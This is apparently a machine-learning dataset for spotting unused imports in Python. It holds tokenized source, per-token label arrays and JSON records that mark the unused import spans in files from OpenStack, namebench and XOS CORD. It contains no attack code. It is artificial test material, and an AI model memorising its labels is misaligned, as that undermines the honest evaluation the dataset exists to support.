"\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "v2", " ", "API", " ", "update", "s", " ", "user", " ", "model", " ", "and", " ", "default", " ", "project", " ", "separately", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "VERSIONS", "_", "._", "active_", "<_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Update", " ", "user", " ", "details_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "manager_", "._", "update_", "(_", "user_", ",_", "**_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "keystone", "\\u", "exceptions_", "._", "Conflict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exceptions_", "._", "Conflict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "exceptions_", "._", "handle_", "(_", "request_", ",_", "ignore_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "project", "\"_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "project_", "=_", "data_", "._", "pop_", "(_", "'", "project", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Update", " ", "default", " ", "tenant_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "update", "\\u", "tenant_", "(_", "request_", ",_", "user_", ",_", "project_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "._", "tenan", "t", "Id_", "=_", "project_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "exceptions_", "._", "handle_", "(_", "request_", ",_", "ignore_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "for", " ", "exist", "ing", " ", "roles_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Show", " ", "a", " ", "warn", "ing", " ", "if", " ", "no", " ", "role", " ", "exist", "s", " ", "for", " ", "the", " ", "project_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "user", "\\u", "roles_", "=_", "role", "s", "\\u", "for", "\\u", "user_", "(_", "request_", ",_", "user_", ",_", "project_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "user", "\\u", "roles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "messages_", "._", "warning_", "(_", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u_", "(_", "'", "User", " ", "%", "s", " ", "has", " ", "no", " ", "role", " ", "defin", "ed", " ", "for", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tha", "t", " ", "project", ".'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "data_", "._", "get_", "(_", "'", "name", "'_", ",_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "error_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "v", "3", " ", "API", " ", "is", " ", "so", " ", "muc", "h", " ", "simple", "r", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "manager_", "._", "update_", "(_", "user_", ",_", "**_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "keystone", "\\u", "exceptions_", "._", "Conflict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exceptions_", "._", "Conflict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 { "content": "# Copyright 2009 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Cocoa frontend loader for namebench.\"\"\"\n\n__author__ = 'tstromberg@google.com (Thomas Stromberg)'\n\nimport platform\nprint \"Starting up on Python %s [%s] compiled with %s\" % (platform.python_version(),\n platform.platform(),\n platform.python_compiler())\n\n#import modules required by application\nimport objc\nimport Foundation\nimport AppKit\n\nfrom PyObjCTools import AppHelper\n\n# import modules containing classes required to start application and load MainMenu.nib\nimport namebenchAppDelegate\nimport controller\n\n# pass control to AppKit\nAppHelper.runEventLoop()\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import objc", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 11 }, { "span": "import Foundation", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 17 }, { "span": "import AppKit", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 13 }, { "span": "import namebenchAppDelegate", "start_line": 31, "start_column": 0, "end_line": 31, "end_column": 27 }, { "span": "import controller", "start_line": 32, "start_column": 0, "end_line": 32, "end_column": 17 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "200", "9", " ", "Goo", "gle", " ", "Inc", ".", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Coc", "oa", " ", "front", "end", " ", "load", "er", " ", "for", " ", "name", "bench", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "author\\u\\u_", "=_", "'", "tstr", "omb", "erg", "@", "google", ".", "com", " ", "(", "Tho", "mas", " ", "Str", "omb", "erg", ")'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Start", "ing", " ", "up", " ", "on", " ", "Pyth", "on", " ", "%", "s", " ", "[", "%", "s", "]", " ", "compile", "d", " ", "with", " ", "%", "s", "\"_", "%_", "(_", "platform_", "._", "python", "\\u", "version_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "platform_", "._", "platform_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "platform_", "._", "python", "\\u", "compiler_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "import", " ", "module", "s", " ", "require", "d", " ", "by", " ", "application_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "objc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Foun", "dati", "on_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "App", "Kit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "Py", "Obj", "CT", "ools_", "import_", "App", "Helper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "import", " ", "module", "s", " ", "contain", "ing", " ", "classe", "s", " ", "require", "d", " ", "to", " ", "start", " ", "applica", "tion", " ", "and", " ", "load", " ", "Main", "Menu", ".", "nib", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "name", "bench", "App", "Delegate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "controller_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass", " ", "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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
open-cloud/xos/xos/api/tenant/cord/subscriber.py
[ { "content": "from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.reverse import reverse\nfrom rest_framework import serializers\nfrom rest_framework import generics\nfrom rest_framework import viewsets\nfrom rest_framework import status\nfrom rest_framework.decorators import detail_route, list_route\nfrom rest_framework.views import APIView\nfrom core.models import *\nfrom django.forms import widgets\nfrom django.conf.urls import patterns, url\nfrom services.cord.models import VOLTTenant, VBNGTenant, CordSubscriberRoot\nfrom api.xosapi_helpers import PlusModelSerializer, XOSViewSet, ReadOnlyField\nfrom django.shortcuts import get_object_or_404\nfrom xos.apibase import XOSListCreateAPIView, XOSRetrieveUpdateDestroyAPIView, XOSPermissionDenied\nfrom xos.exceptions import *\nimport json\nimport subprocess\nfrom django.views.decorators.csrf import ensure_csrf_cookie\n\n\n# Add some structure to the REST API by subdividing the object into\n# features, identity, and related.\n\n\n\n\n# @ensure_csrf_cookie\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class CordSubscriberNew(CordSubscriberRoot):\n class Meta:\n proxy = True\n app_label = \"cord\"\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.CordSubscriberNew", "header": "['module', '___EOS___']", "index": 21 }, { "content": " def __init__(self, *args, **kwargs):\n super(CordSubscriberNew, self).__init__(*args, **kwargs)", "metadata": "root.CordSubscriberNew.__init__", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 26 }, { "content": " def __unicode__(self):\n return u\"cordSubscriber-%s\" % str(self.id)", "metadata": "root.CordSubscriberNew.__unicode__", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 29 }, { "content": " @property\n def features(self):\n return {\"cdn\": self.cdn_enable,\n \"uplink_speed\": self.uplink_speed,\n \"downlink_speed\": self.downlink_speed,\n \"uverse\": self.enable_uverse,\n \"status\": self.status}", "metadata": "root.CordSubscriberNew.features", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 32 }, { "content": " @features.setter\n def features(self, value):\n self.cdn_enable = value.get(\"cdn\", self.get_default_attribute(\"cdn_enable\"))\n self.uplink_speed = value.get(\"uplink_speed\", self.get_default_attribute(\"uplink_speed\"))\n self.downlink_speed = value.get(\"downlink_speed\", self.get_default_attribute(\"downlink_speed\"))\n self.enable_uverse = value.get(\"uverse\", self.get_default_attribute(\"enable_uverse\"))\n self.status = value.get(\"status\", self.get_default_attribute(\"status\"))", "metadata": "root.CordSubscriberNew.features", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 40 }, { "content": " def update_features(self, value):\n d=self.features\n d.update(value)\n self.features = d", "metadata": "root.CordSubscriberNew.update_features", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 49 }, { "content": " @property\n def identity(self):\n return {\"account_num\": self.service_specific_id,\n \"name\": self.name}", "metadata": "root.CordSubscriberNew.identity", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 54 }, { "content": " @identity.setter\n def identity(self, value):\n self.service_specific_id = value.get(\"account_num\", self.service_specific_id)\n self.name = value.get(\"name\", self.name)", "metadata": "root.CordSubscriberNew.identity", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 59 }, { "content": " def update_identity(self, value):\n d=self.identity\n d.update(value)\n self.identity = d", "metadata": "root.CordSubscriberNew.update_identity", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 64 }, { "content": " @property\n def related(self):\n related = {}\n if self.volt:\n related[\"volt_id\"] = self.volt.id\n related[\"s_tag\"] = self.volt.s_tag\n related[\"c_tag\"] = self.volt.c_tag\n if self.volt.vcpe:\n related[\"vsg_id\"] = self.volt.vcpe.id\n if self.volt.vcpe.instance:\n related[\"instance_id\"] = self.volt.vcpe.instance.id\n related[\"instance_name\"] = self.volt.vcpe.instance.name\n related[\"wan_container_ip\"] = self.volt.vcpe.wan_container_ip\n if self.volt.vcpe.instance.node:\n related[\"compute_node_name\"] = self.volt.vcpe.instance.node.name\n return related", "metadata": "root.CordSubscriberNew.related", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 69 }, { "content": " def save(self, *args, **kwargs):\n super(CordSubscriberNew, self).save(*args, **kwargs)", "metadata": "root.CordSubscriberNew.save", "header": "['class', 'CordSubscriberNew', '(', 'CordSubscriberRoot', ')', ':', '___EOS___']", "index": 86 }, { "content": "class FeatureSerializer(serializers.Serializer):\n cdn = serializers.BooleanField(required=False)\n uplink_speed = serializers.IntegerField(required=False)\n downlink_speed = serializers.IntegerField(required=False)\n uverse = serializers.BooleanField(required=False)\n status = serializers.CharField(required=False)", "metadata": "root.FeatureSerializer", "header": "['module', '___EOS___']", "index": 92 }, { "content": "class IdentitySerializer(serializers.Serializer):\n account_num = serializers.CharField(required=False)\n name = serializers.CharField(required=False)", "metadata": "root.IdentitySerializer", "header": "['module', '___EOS___']", "index": 99 }, { "content": "class CordSubscriberSerializer(PlusModelSerializer):\n id = ReadOnlyField()\n humanReadableName = serializers.SerializerMethodField(\"getHumanReadableName\")\n features = FeatureSerializer(required=False)\n identity = IdentitySerializer(required=False)\n related = serializers.DictField(required=False)\n\n nested_fields = [\"features\", \"identity\"]\n\n class Meta:\n model = CordSubscriberNew\n fields = ('humanReadableName',\n 'id',\n 'features',\n 'identity',\n 'related')\n", "metadata": "root.CordSubscriberSerializer", "header": "['module', '___EOS___']", "index": 103 }, { "content": " def getHumanReadableName(self, obj):\n return obj.__unicode__()", "metadata": "root.CordSubscriberSerializer.getHumanReadableName", "header": "['class', 'CordSubscriberSerializer', '(', 'PlusModelSerializer', ')', ':', '___EOS___']", "index": 120 }, { "content": "class CordSubscriberViewSet(XOSViewSet):\n base_name = \"subscriber\"\n method_name = \"subscriber\"\n method_kind = \"viewset\"\n queryset = CordSubscriberNew.get_tenant_objects().select_related().all()\n serializer_class = CordSubscriberSerializer\n\n custom_serializers = {\"set_features\": FeatureSerializer,\n \"set_feature\": FeatureSerializer,\n \"set_identities\": IdentitySerializer,\n \"set_identity\": IdentitySerializer}\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.CordSubscriberViewSet", "header": "['module', '___EOS___']", "index": 124 }, { "content": " @classmethod\n def get_urlpatterns(self, api_path=\"^\"):\n patterns = super(CordSubscriberViewSet, self).get_urlpatterns(api_path=api_path)\n patterns.append( self.detail_url(\"features/$\", {\"get\": \"get_features\", \"put\": \"set_features\"}, \"features\") )\n patterns.append( self.detail_url(\"features/(?P<feature>[a-zA-Z0-9\\-_]+)/$\", {\"get\": \"get_feature\", \"put\": \"set_feature\"}, \"get_feature\") )\n patterns.append( self.detail_url(\"identity/$\", {\"get\": \"get_identities\", \"put\": \"set_identities\"}, \"identities\") )\n patterns.append( self.detail_url(\"identity/(?P<identity>[a-zA-Z0-9\\-_]+)/$\", {\"get\": \"get_identity\", \"put\": \"set_identity\"}, \"get_identity\") )\n\n patterns.append( url(self.api_path + \"account_num_lookup/(?P<account_num>[0-9\\-]+)/$\", self.as_view({\"get\": \"account_num_detail\"}), name=\"account_num_detail\") )\n\n patterns.append( url(self.api_path + \"ssidmap/(?P<ssid>[0-9\\-]+)/$\", self.as_view({\"get\": \"ssiddetail\"}), name=\"ssiddetail\") )\n patterns.append( url(self.api_path + \"ssidmap/$\", self.as_view({\"get\": \"ssidlist\"}), name=\"ssidlist\") )\n\n return patterns", "metadata": "root.CordSubscriberViewSet.get_urlpatterns", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 136 }, { "content": " def list(self, request):\n object_list = self.filter_queryset(self.get_queryset())\n\n serializer = self.get_serializer(object_list, many=True)\n\n return Response(serializer.data)", "metadata": "root.CordSubscriberViewSet.list", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 151 }, { "content": " def get_features(self, request, pk=None):\n subscriber = self.get_object()\n return Response(FeatureSerializer(subscriber.features).data)", "metadata": "root.CordSubscriberViewSet.get_features", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 158 }, { "content": " def set_features(self, request, pk=None):\n subscriber = self.get_object()\n ser = FeatureSerializer(subscriber.features, data=request.data)\n ser.is_valid(raise_exception = True)\n subscriber.update_features(ser.validated_data)\n subscriber.save()\n return Response(FeatureSerializer(subscriber.features).data)", "metadata": "root.CordSubscriberViewSet.set_features", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 162 }, { "content": " def get_feature(self, request, pk=None, feature=None):\n subscriber = self.get_object()\n return Response({feature: FeatureSerializer(subscriber.features).data[feature]})", "metadata": "root.CordSubscriberViewSet.get_feature", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 170 }, { "content": " def set_feature(self, request, pk=None, feature=None):\n subscriber = self.get_object()\n if [feature] != request.data.keys():\n raise serializers.ValidationError(\"feature %s does not match keys in request body (%s)\" % (feature, \",\".join(request.data.keys())))\n ser = FeatureSerializer(subscriber.features, data=request.data)\n ser.is_valid(raise_exception = True)\n subscriber.update_features(ser.validated_data)\n subscriber.save()\n return Response({feature: FeatureSerializer(subscriber.features).data[feature]})", "metadata": "root.CordSubscriberViewSet.set_feature", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 174 }, { "content": " def get_identities(self, request, pk=None):\n subscriber = self.get_object()\n return Response(IdentitySerializer(subscriber.identity).data)", "metadata": "root.CordSubscriberViewSet.get_identities", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 184 }, { "content": " def set_identities(self, request, pk=None):\n subscriber = self.get_object()\n ser = IdentitySerializer(subscriber.identity, data=request.data)\n ser.is_valid(raise_exception = True)\n subscriber.update_identity(ser.validated_data)\n subscriber.save()\n return Response(IdentitySerializer(subscriber.identity).data)", "metadata": "root.CordSubscriberViewSet.set_identities", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 188 }, { "content": " def get_identity(self, request, pk=None, identity=None):\n subscriber = self.get_object()\n return Response({identity: IdentitySerializer(subscriber.identity).data[identity]})", "metadata": "root.CordSubscriberViewSet.get_identity", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 196 }, { "content": " def set_identity(self, request, pk=None, identity=None):\n subscriber = self.get_object()\n if [identity] != request.data.keys():\n raise serializers.ValidationError(\"identity %s does not match keys in request body (%s)\" % (identity, \",\".join(request.data.keys())))\n ser = IdentitySerializer(subscriber.identity, data=request.data)\n ser.is_valid(raise_exception = True)\n subscriber.update_identity(ser.validated_data)\n subscriber.save()\n return Response({identity: IdentitySerializer(subscriber.identity).data[identity]})", "metadata": "root.CordSubscriberViewSet.set_identity", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 200 }, { "content": " def account_num_detail(self, pk=None, account_num=None):\n object_list = CordSubscriberNew.get_tenant_objects().all()\n object_list = [x for x in object_list if x.service_specific_id == account_num]\n if not object_list:\n return Response(\"Failed to find account_num %s\" % account_num, status=status.HTTP_404_NOT_FOUND)\n\n return Response( object_list[0].id )", "metadata": "root.CordSubscriberViewSet.account_num_detail", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 210 }, { "content": " def ssidlist(self, request):\n object_list = CordSubscriberNew.get_tenant_objects().all()\n\n ssidmap = [ {\"service_specific_id\": x.service_specific_id, \"subscriber_id\": x.id} for x in object_list ]\n\n return Response({\"ssidmap\": ssidmap})", "metadata": "root.CordSubscriberViewSet.ssidlist", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 218 }, { "content": " def ssiddetail(self, pk=None, ssid=None):\n object_list = CordSubscriberNew.get_tenant_objects().all()\n\n ssidmap = [ {\"service_specific_id\": x.service_specific_id, \"subscriber_id\": x.id} for x in object_list if str(x.service_specific_id)==str(ssid) ]\n\n if len(ssidmap)==0:\n raise XOSNotFound(\"didn't find ssid %s\" % str(ssid))\n\n return Response( ssidmap[0] )", "metadata": "root.CordSubscriberViewSet.ssiddetail", "header": "['class', 'CordSubscriberViewSet', '(', 'XOSViewSet', ')', ':', '___EOS___']", "index": 225 } ]
[ { "span": "from rest_framework.decorators import api_view", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 46 }, { "span": "from rest_framework.reverse import reverse", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 42 }, { "span": "from rest_framework import generics", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 35 }, { "span": "from rest_framework import viewsets", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 35 }, { "span": "from rest_framework.decorators import detail_route, list_route", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 62 }, { "span": "from rest_framework.views import APIView", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 40 }, { "span": "from django.forms import widgets", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 32 }, { "span": "from django.conf.urls import patterns, url", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 42 }, { "span": "from services.cord.models import VOLTTenant, VBNGTenant, CordSubscriberRoot", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 75 }, { "span": "from django.shortcuts import get_object_or_404", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 46 }, { "span": "from xos.apibase import XOSListCreateAPIView, XOSRetrieveUpdateDestroyAPIView, XOSPermissionDenied", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 98 }, { "span": "import json", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 11 }, { "span": "import subprocess", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 17 }, { "span": "from django.views.decorators.csrf import ensure_csrf_cookie", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 59 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "._", "decorators_", "import_", "api", "\\u", "view_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "._", "response_", "import_", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "._", "reverse_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "import_", "serializers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "import_", "generics_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "import_", "viewsets_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "import_", "status_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "._", "decorators_", "import_", "deta", "il", "\\u", "route_", ",_", "list", "\\u", "route_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rest", "\\u", "framework_", "._", "views_", "import_", "API", "View_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core_", "._", "models_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "forms_", "import_", "widgets_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "._", "urls_", "import_", "patterns_", ",_", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "services_", "._", "cord", "_", "._", "models_", "import_", "VOLT", "Ten", "ant_", ",_", "VB", "NG", "Ten", "ant_", ",_", "Cor", "d", "Subscrib", "er", "Root_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "api_", "._", "xo", "sapi", "\\u", "helpers_", "import_", "Plus", "Model", "Serializer_", ",_", "XO", "SV", "iew", "Set_", ",_", "Read", "On", "ly", "Field_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "get", "\\u", "object\\u", "or", "\\u", "404_", 